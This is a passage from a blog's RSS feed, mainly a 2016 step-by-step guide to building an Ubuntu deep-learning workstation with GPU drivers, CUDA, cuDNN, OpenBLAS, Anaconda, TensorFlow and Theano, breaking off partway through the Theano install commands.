&lt;p&gt;This definitely got me interested in picking up CTF&apos;ing again, and maybe even look for or start a team (don&apos;t hesitate to hit me up if anyone wants to collaborate on this)!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Setting Up a Computer for Deep Learning]]></title><description><![CDATA[Deep learning is all the rage these days, still achieving increasingly better results on various machine learning problems. While the field…]]></description><link>https://eivindarvesen.com/blog/2016/12/04/setting-up-a-computer-for-deep-learning</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2016/12/04/setting-up-a-computer-for-deep-learning</guid><content:encoded>&lt;p&gt;Deep learning is all the rage these days, still achieving increasingly better results on various machine learning problems. While the field is evolving rapidly, it is also becoming more and more accessible for experiementation. Anyone can download state of the art models and run them using bleeding edge research software, thanks to most leading implementations being open source and/or available at no cost.&lt;/p&gt;
&lt;p&gt;Though very easy solutions for environment setup and computation is made available via cloud providers&apos; GPU instances, as well as preconfigured virtual machines and containers, there&apos;s something to be said for running your own rig with capable hardware.&lt;/p&gt;
&lt;p&gt;In this post, I&apos;ll detail the setup of a computer for deep learning purposes, step by step.
It assumes that the reader is somewhat familiar with software relevant to deep learning.&lt;/p&gt;
&lt;p&gt;There are many great resources out there, but the two I used the most during my experience of setting up my own machine were &lt;a href=&quot;https://github.com/saiprashanths/dl-setup&quot;&gt;Sai Soundararaj&apos;s guide&lt;/a&gt; and &lt;a href=&quot;http://graphific.github.io/posts/running-a-deep-learning-dream-machine/&quot;&gt;Roelof Pieters&apos; blogpost&lt;/a&gt;.&lt;/p&gt;
&lt;h1&gt;Hardware&lt;/h1&gt;
&lt;p&gt;I won&apos;t delve too much into hardware details, but in order to achive decent performance you&apos;ll need a relatively new NVIDIA GPU, as most of the GPU-accelerated software is built upon their CUDA-framework.&lt;/p&gt;
&lt;p&gt;You can check out a short summary of information relevant to the choice of components &lt;a href=&quot;http://graphific.github.io/posts/building-a-deep-learning-dream-machine/#starting-out-choosing-the-right-components&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In my own case, I went for &lt;a href=&quot;https://www.komplett.no/product/905824/komplett-pc/ferdigbygget/ny-pc/komplett-imba-black-friday#&quot;&gt;this&lt;/a&gt; computer, which has the following specs:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Motherboard:&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.asus.com/Motherboards/B150M-PLUS/&quot;&gt;ASUS B150M-PLUS, Socket-1151&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CPU:&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://ark.intel.com/products/88184/Intel-Core-i5-6500-Processor-6M-Cache-up-to-3_60-GHz&quot;&gt;Intel Core i5-6500 Skylake Processor&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RAM:&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.kingston.com/en/memory/valueram/desktop&quot;&gt;Kingston ValueRam DDR4 2133MHz 16GB&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GPU:&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.msi.com/Graphics-card/GeForce-GTX-1060-6GT-OC.html#hero-overview&quot;&gt;MSI GeForce GTX 1060 6GB OC&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Hard drive:&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.samsung.com/semiconductor/products/flash-storage/client-ssd&quot;&gt;Samsung PM961 SSD 256GB M.2 NVMe 2800/1100MB/s&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Extensions:&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.asus.com/Networking/PCEN15/&quot;&gt;ASUS PCE-N15 N300 Wireless Adapter&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Power supply:&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.coolermaster.com/powersupply/b-series/b500ver2/&quot;&gt;Cooler Master B500 V2 KOMPLETT Edition&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Case:&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;http://www.corsair.com/en/carbide-series-spec-03-blue-led-mid-tower-gaming-case&quot;&gt;Komplett Carbide SPEC-03 Midi Tower&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The the parts that references &quot;Komplett&quot; are just OEM stuff - rebranded versions for the retailer, e.g. differently colored or featuring the retailer logo.&lt;/p&gt;
&lt;p&gt;The GTX 1060 GPU isn&apos;t top of the line when it comes to processing power - and it doesn&apos;t support SLI - but it&apos;s an &lt;a href=&quot;http://timdettmers.com/2014/08/14/which-gpu-for-deep-learning/&quot;&gt;OK starting point&lt;/a&gt;, not to mention reasonably priced.&lt;/p&gt;
&lt;h1&gt;Software&lt;/h1&gt;
&lt;p&gt;The most natural choice of OS for these sorts of things is Linux. I chose the &lt;a href=&quot;https://www.ubuntu.com&quot;&gt;Ubuntu&lt;/a&gt; distribution, as it comes with a lot of practical software out of the box.
It is a very popular distro, and it&apos;s generally not very difficult to find solutions for any problems that may arise with it online.&lt;/p&gt;
&lt;p&gt;Additionally, most relevant machine learning software and packages provide installation instructions for Ubuntu.&lt;/p&gt;
&lt;p&gt;If you also choose Ubuntu, you should go for the latest LTS (Long Term Support) version, which is 16.04 at the time of writing.&lt;/p&gt;
&lt;h2&gt;Drivers&lt;/h2&gt;
&lt;p&gt;First off, you&apos;ll need to add the proprietary GPU drivers PPA.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; add-apt-repository ppa:graphics-drivers/ppa
&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;apt-get&lt;/span&gt; update&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Then you&apos;ll need to install the latest NVIDIA drivers.
This is &lt;code class=&quot;language-text&quot;&gt;nvidia-375&lt;/code&gt; at the time of writing, but you can run &lt;code class=&quot;language-text&quot;&gt;apt-cache search nvidia&lt;/code&gt; and see if any later versions exist.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;apt-get&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; nvidia-375&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;CUDA and related libraries&lt;/h2&gt;
&lt;p&gt;You&apos;ll also be needing the NVIDIA CUDA Toolkit – which enables GPU-acceleration for non-graphics applications – and a library called cuDNN, which contains deep neural network primitives. The latter will purportedly give a speedup of minimum 44% - some users report over 6x speedups with Torch and Caffe.&lt;/p&gt;
&lt;p&gt;For CUDA, go to the &lt;a href=&quot;https://developer.nvidia.com/cuda-downloads&quot;&gt;CUDA download page&lt;/a&gt; and select &quot;Linux&quot;, &quot;x86_64&quot;, &quot;Ubuntu&quot;, &quot;16.04&quot;, and &quot;deb(local)&quot;, as seen in the image below.&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/faa80cc4528d624d5f7f1961453e8238/fbf08/cuda-download.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 101.8987341772152%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADXElEQVR42o1UW28TRxTOn+o7j1BQQ5JCLpX4D33gCQoVQgIhaKCqivtQCJCEoBJQQELcBEEJca6O147jZNcmG+PLOmtjx3udvfjjzPpCHELFWJ92js+cb75z5sx0Xbv8G0ZHR3D3zi08/G8CN65fxdDgzxgc6MPAyV4M9vcRetHXcww93UfRc/wojnf/GCCwgy/ZPx1BN6FLLe3AYjosy4JhGlAUBauRCNbicaytxbGRXEcqJUIUN5FcT2A9kSBbQjqdghCNElaQiAuIc8QEdPm+B8/z4PsuKpUSVHUHJhEzh8G2bTCC67pgjGyC4zjBnDEbDnPgegx1+vHBfV1ojjp8OB5fXCfFLur1Ov5/NPyuz8BF8cEFBIStYKW2iWcb5/A0dhvDL0JYyY1jRh4mv/9NWq/utP1ceYOwuVvZyGFBnsLCh2nMSjMo1NaQqS5QgBdsygM5/D0beP5BhE2FyUIS5x9fx0x6DPPZK7S725HetxU2/Mxx9yvMY3HrFdLqMrY+zaJkpLCjJ6EaIkFCyRSR+ZSG8DFGRN7XCg2tk1A1NvB+exjx4iO8Sl/Acm4Ec9t/IZz5G3OZm1jOhzC5egtnH5+H7VpNQjrl5qG4WbEzZUkR8c/bEQiFhyhoQiPZoG5fUt5/+o2UW4RSJ2GmvI0nkZeIfnyJbDUR/Oc3F+8l4m3SOijPt/colPbV0Ezh7YeLeC/fxJ25e/h96hIWMw/wTDyNSJ630B94Lp6h2kpoxR2osOXcqsxiKXsbgjKB8NYkXm+MI65MBbVMFKcQLdwP/OnyNLK7K8hU5lHUklz+lxq21DFPx0TsFMaEIYwLv+B+rJ/skzTn9iDGogMYjZ7AvyuHEVo6hNDiIfw5/wOeJH9tl8JR5E6Flm3CNCy6y/RQ6CZ0zaC5DU3T6Vqx778prSGpMSzK01jNhpEqxyARUk1I5SjkqoR3cggjkV5SO4S7q/3YLL1pS+og5I9DRS9CKeehVhVCERqrwXC0JmowXYOaW4ZcCdOVXKKah1Gxsm1BHYS8PRzPhKGZqFZ2KV0du1UipLR56p7rHfDe1CnGaHfJV4SMKyiVkcvlkM/nsKOq1HONxm4FdT4SFEOEOIiQL7AoLV3fhUYwzFoAh66Y69lt8Ku212b7FH4GdUK8M/BTzQUAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;CUDA download page&quot;
        title=&quot;CUDA download page&quot;
        src=&quot;/static/faa80cc4528d624d5f7f1961453e8238/f058b/cuda-download.png&quot;
        srcset=&quot;/static/faa80cc4528d624d5f7f1961453e8238/c26ae/cuda-download.png 158w,
/static/faa80cc4528d624d5f7f1961453e8238/6bdcf/cuda-download.png 315w,
/static/faa80cc4528d624d5f7f1961453e8238/f058b/cuda-download.png 630w,
/static/faa80cc4528d624d5f7f1961453e8238/40601/cuda-download.png 945w,
/static/faa80cc4528d624d5f7f1961453e8238/fbf08/cuda-download.png 962w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;When the download is finished, just open the file (e.g double-click it). This will present an Ubuntu Software window; Click &quot;Install&quot;.&lt;/p&gt;
&lt;p&gt;Then go to the download location in a terminal, and type the installation instructions from the download page:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; dpkg &lt;span class=&quot;token parameter variable&quot;&gt;-i&lt;/span&gt; cuda-repo-ubuntu1604-8-0-local_8.0.44-1_amd64.deb
&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;apt-get&lt;/span&gt; update
&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;apt-get&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; cuda&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;You will then need to add CUDA to your path:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;export PATH=/usr/local/cuda/bin:$PATH&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&gt;&gt;&lt;/span&gt; ~/.bashrc
&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;export LD_LIBRARY_PATH=/usr/local/cuda/lib64:$LD_LIBRARY_PATH&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&gt;&gt;&lt;/span&gt; ~/.bashrc
&lt;span class=&quot;token builtin class-name&quot;&gt;source&lt;/span&gt; ~/.bashrc&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To get cuDNN, you must register an account with Nvidia. It may take up to a couple of days for your account to be approved.&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/4ede617cd28d2a5a6cb57ea35a856d9f/fbf08/cudnn-download.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 101.8987341772152%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADlElEQVR42o1TbWgbZRx/ltokV2PYhCGsmMYJe6mkrabri67iN/WDgo65N3HDDdHtk23CvsiEMRzIYMWJTlDYB0FHabrVbrimjgl1bGPgQFcGg5W2d7lc3nO5LMndJT//z5O0skG7Hvzu/3LP//f83459N/wVRkfPY+T8L5gYH8MPZ7/Fxwc+xIGP9i5h356d2L3rfYE9u3b8r+/esQRuf7DzPbDpv6bx953b+OffO5iZuYtbN29hLBLB+PhFXLnyO6amJjEVjeLypUsCExO/IRqdxB9TUVwYiyAyMoKLkVGMkLw8fgHM4XCAMYa1zzFsfsmPjS9shM/ng9/vr8u2NrQRJEmCs9kJye2G2+WC5CJJustFPrIZc2Bgkw+sqakJnNRFB9atexYt0tPweLxoaZHg9XpFkMfzDJqbm7FGnJPg9jjwlMSwpomJ706nUyTV/+IGsGAwiOArQfT0v4y+7V3oebULvQTu7+7m6BbgdmdnJ2Xrx/O+Vrzz7gAC2wNwB7fCu3kr2jZtwf43B8A6OjoQCASIpBuvvd7TQC/6+voJvUTSBX6Go729Ha0bWuFd68WZU1/gy+OfY/3b2+CgS9aTf+9bb4CFw2EIhMIIDYUxNBRCKMR9IYEQR4hjCIODgzhy+AgOHjqIH3/6Hr+eO4ujwydw6NhRfPLZpxg+fRoMjacGm94WyYrQazCXAFTrZ2o1rPRUKhUwu1oVBw3DQCqVRDqdJplCJpOpI5tCvkAyl4BR1EVQtRHDwfVFu1QqgS3ems1mIS8sQFEUAVmWocgxaAkVqraAeEJGXFPEZStmuGgUi4bIiGeYzeaQyyeRL2rQi2nkjSQKxRzMiokyBS1X+mOERSKk4ByREfL5PMmsQJbAbV6FXiiIEpclfLRkGVpcg6rGEYupouSYEoMqdIX8qvhWLpefTJjTM6JXmhanvhEJ9Yv3LZFUoaXmkcqRnpapFRm+Ek8u2a5VYFaLMM0yTKsCy7ZgVcvCb9dMWJYlpmia5uqGUt/F+tVXH5zENzeCuDb7NSIzh3HmRi/+nD3V2MXqKqdcKlDzk9T0HO4p13Dzwc+4r17HTGwSt5VzmM1Mo2wVRNarIrSqJVRsg4IMmqLVyOax/Cm7GmqrI3z4sEQro6NgFMTO6UaaJK2NTnup878lDV3PwzKtlfdwacq0NnNz87QuC4hpczRh+juS/O+QoZKuJuahxGjSiSRs216W8D/5VPcS/KApgQAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;cuDNN page&quot;
        title=&quot;cuDNN page&quot;
        src=&quot;/static/4ede617cd28d2a5a6cb57ea35a856d9f/f058b/cudnn-download.png&quot;
        srcset=&quot;/static/4ede617cd28d2a5a6cb57ea35a856d9f/c26ae/cudnn-download.png 158w,
/static/4ede617cd28d2a5a6cb57ea35a856d9f/6bdcf/cudnn-download.png 315w,
/static/4ede617cd28d2a5a6cb57ea35a856d9f/f058b/cudnn-download.png 630w,
/static/4ede617cd28d2a5a6cb57ea35a856d9f/40601/cudnn-download.png 945w,
/static/4ede617cd28d2a5a6cb57ea35a856d9f/fbf08/cudnn-download.png 962w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;After you have logged in and downloaded cuDNN, go to the download location in a terminal, and type:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;tar&lt;/span&gt; xvzf cudnn-8.0-linux-x64-v5.1.tgz
&lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; cuda
&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;cp&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-P&lt;/span&gt; include/cudnn.h /usr/local/cuda/include
&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;cp&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-P&lt;/span&gt; lib64/libcudnn* /usr/local/cuda/lib64
&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;chmod&lt;/span&gt; a+r /usr/local/cuda/include/cudnn.h /usr/local/cuda/lib64/libcudnn*
&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;rm&lt;/span&gt; /usr/lib/x86_64-linux-gnu/libcudnn.so.5&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;ln&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-s&lt;/span&gt; /usr/lib/x86_64-linux-gnu/libcudnn.so.5.1.5 /usr/lib/x86_64-linux-gnu/libcudnn.so.5&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now reboot your machine (&lt;code class=&quot;language-text&quot;&gt;sudo shutdown -r now&lt;/code&gt;).&lt;/p&gt;
&lt;h2&gt;BLAS&lt;/h2&gt;
&lt;p&gt;You can now optionally download and install &lt;a href=&quot;http://www.openblas.net&quot;&gt;OpenBLAS&lt;/a&gt;, which is an open source implementation of &lt;a href=&quot;https://en.wikipedia.org/wiki/Basic_Linear_Algebra_Subprograms&quot;&gt;BLAS&lt;/a&gt;.
It will basically optimize linear algebra operations.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;apt-get&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; gfortran
&lt;span class=&quot;token function&quot;&gt;mkdir&lt;/span&gt; /tmp/git
&lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; /tmp/git
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; clone https://github.com/xianyi/OpenBLAS.git
&lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; OpenBLAS
&lt;span class=&quot;token function&quot;&gt;make&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;FC&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;gfortran &lt;span class=&quot;token parameter variable&quot;&gt;-j&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;&lt;span class=&quot;token variable&quot;&gt;$((&lt;/span&gt;$&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;nproc&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;make&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;PREFIX&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;/usr/local &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;export LD_LIBRARY_PATH=/usr/local/lib:$LD_LIBRARY_PATH&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&gt;&gt;&lt;/span&gt; ~/.bashrc&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Anconda&lt;/h2&gt;
&lt;p&gt;Install the latest version of the &lt;a href=&quot;https://www.continuum.io/why-anaconda&quot;&gt;Anaconda&lt;/a&gt; python 2 distribution, like so:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-o&lt;/span&gt; ~/Downloads/Anaconda2-4.2.0-Linux-x86_64.sh https://repo.continuum.io/archive/Anaconda2-4.2.0-Linux-x86_64.sh

&lt;span class=&quot;token function&quot;&gt;bash&lt;/span&gt; ~/Downloads/Anaconda2-4.2.0-Linux-x86_64.sh&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Make sure you answer &apos;yes&apos; when the installer asks to prepend the Anaconda2 install location to your PATH in its final step. Then run &lt;code class=&quot;language-text&quot;&gt;source ~/.bashrc&lt;/code&gt; to make anaconda available.&lt;/p&gt;
&lt;h2&gt;Frameworks&lt;/h2&gt;
&lt;p&gt;First create a conda environment called &lt;code class=&quot;language-text&quot;&gt;learning&lt;/code&gt; by typing &lt;code class=&quot;language-text&quot;&gt;conda create -n learning python=2.7&lt;/code&gt; in a terminal.
Then activate it by typing &lt;code class=&quot;language-text&quot;&gt;source activate learning&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;You can now install some deep learning frameworks...&lt;/p&gt;
&lt;h3&gt;&lt;a href=&quot;https://www.tensorflow.org&quot;&gt;TensorFlow&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;apt-get&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; python-dev
&lt;span class=&quot;token builtin class-name&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;TF_BINARY_URL&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;https://storage.googleapis.com/tensorflow/linux/gpu/tensorflow_gpu-0.12.0rc0-cp27-none-linux_x86_64.whl
pip &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; --ignore-installed &lt;span class=&quot;token parameter variable&quot;&gt;--upgrade&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$TF_BINARY_URL&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;&lt;a href=&quot;http://deeplearning.net/software/theano/&quot;&gt;Theano&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;apt-get&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; libopenblas-dev
conda &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; numpy scipy mkl nose sphinx pydot-ng
&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;export CUDA_ROOT=/usr/local/cuda&apos;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&gt;&gt;&lt;/span&gt; ~/.bashrc
&lt;span class=&quot;token builtin class-name&quot;&gt;source&lt;/span&gt; ~/.bashrc
pip &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; git+https://github.com/Theano/Theano.git&lt;span class=&quot;token comment&quot;&gt;#egg=Theano&lt;/span&gt;

&lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; /tmp
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; clone https://github.com/Theano/libgpuarray.git
&lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; libgpuarray
&lt;span class=&quot;token function&quot;&gt;mkdir&lt;/span&gt; Build
&lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; Build
&lt;span class=&quot;token comment&quot;&gt;# you can pass -DCMAKE_INSTALL_PREFIX=/path/to/somewhere to install to an alternate location&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;apt-get&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; cmake
cmake &lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-DCMAKE_BUILD_TYPE&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;Release &lt;span class=&quot;token comment&quot;&gt;# or Debug if you are investigating a crash&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;make&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;make&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;..&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;sudo&lt;/span&gt; ldconfig
&lt;span class=&quot;token comment&quot;&gt;# Work around a glibc bug&lt;/span&gt;
&lt;span class=&quot;token builtin class-name&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&lt;span class=&quot;token entity&quot; title=&quot;\n&quot;&gt;\n&lt;/span&gt;[nvcc]&lt;span class=&quot;token entity&quot; title=&quot;\n&quot;&gt;\n&lt;/span&gt;flags=-D_FORCE_INLINES&lt;span class=&quot;token entity&quot; title=&quot;\n&quot;&gt;\n&lt;/span&gt;&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&gt;&gt;&lt;/span&gt; ~/.theanorc
